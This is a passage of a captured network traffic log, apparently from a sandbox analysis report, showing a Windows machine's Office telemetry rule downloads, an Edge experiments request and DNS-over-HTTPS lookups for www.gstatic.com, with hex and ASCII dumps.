2024-11-28 14:17:38 UTC	11410	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.6	49788	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:34 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 14:17:34 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:34 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 8dfbf447-101e-0028-0f8e-3f8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T141734Z-174f7845968n2hr8hC1EWR9cag0000000y60000000007s5s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 14:17:34 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.6	49789	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:34 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 14:17:35 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:34 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: d2a0c1bd-101e-0017-761b-4147c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T141734Z-174f7845968pght8hC1EWRyvxg00000001sg000000002neg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 14:17:35 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.6	49797	94.245.104.56	443	7312	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:35 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 14:17:36 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Thu, 28 Nov 2024 14:17:34 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=a587c58b7add197be0a9663062a92023b083c99ba7c79b57ef31f5e62dbb3c2f;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=a587c58b7add197be0a9663062a92023b083c99ba7c79b57ef31f5e62dbb3c2f;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.6	49799	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:35 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 14:17:36 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:35 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: e4738428-701e-006f-2050-41afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T141735Z-174f7845968ljs8phC1EWRe6en0000000ya000000000bt8n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 14:17:36 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.6	49805	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:36 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 14:17:37 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:36 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 5cf18591-601e-000d-7e91-3f2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T141736Z-174f7845968kdththC1EWRzvxn0000000aw0000000008rnk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 14:17:37 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.6	49807	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:37 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 14:17:37 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:37 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 3fc8ca9f-401e-0083-6c91-3f075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T141737Z-174f78459685726chC1EWRsnbg0000000ypg0000000034m0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 14:17:37 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.6	49800	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:37 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 14:17:38 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:37 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: e14f358b-d01e-007a-5d7e-3ff38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T141737Z-174f7845968zgtf6hC1EWRqd8s0000000rc000000000e8fm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 14:17:38 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.6	49820	162.159.61.3	443	7312	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:39 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-28 14:17:39 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-28 14:17:39 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 28 Nov 2024 14:17:39 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e9afb953f414297-EWR alt-svc: h3=":443"; ma=86400
2024-11-28 14:17:39 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 af 00 04 8e fb 29 03 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom))

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.6	49826	172.64.41.3	443	7312	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:39 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-28 14:17:39 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-28 14:17:39 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 28 Nov 2024 14:17:39 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e9afb953f728cc8-EWR alt-svc: h3=":443"; ma=86400
2024-11-28 14:17:39 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 1e 00 04 8e fa 41 e3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomA)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.6	49827	162.159.61.3	443	7312	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:39 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-28 14:17:39 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-28 14:17:39 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 28 Nov 2024 14:17:39 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e9afb957da643b8-EWR alt-svc: h3=":443"; ma=86400
2024-11-28 14:17:39 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 1f 00 04 8e fb 28 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.6	49822	162.159.61.3	443	7312	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:39 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-28 14:17:39 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-28 14:17:39 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 28 Nov 2024 14:17:39 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e9afb958b747ce7-EWR alt-svc: h3=":443"; ma=86400
2024-11-28 14:17:39 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 a9 00 04 8e fa 48 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomHc)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.6	49828	162.159.61.3	443	7312	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:39 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-28 14:17:39 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-28 14:17:39 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 28 Nov 2024 14:17:39 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e9afb963adf4390-EWR alt-svc: h3=":443"; ma=86400
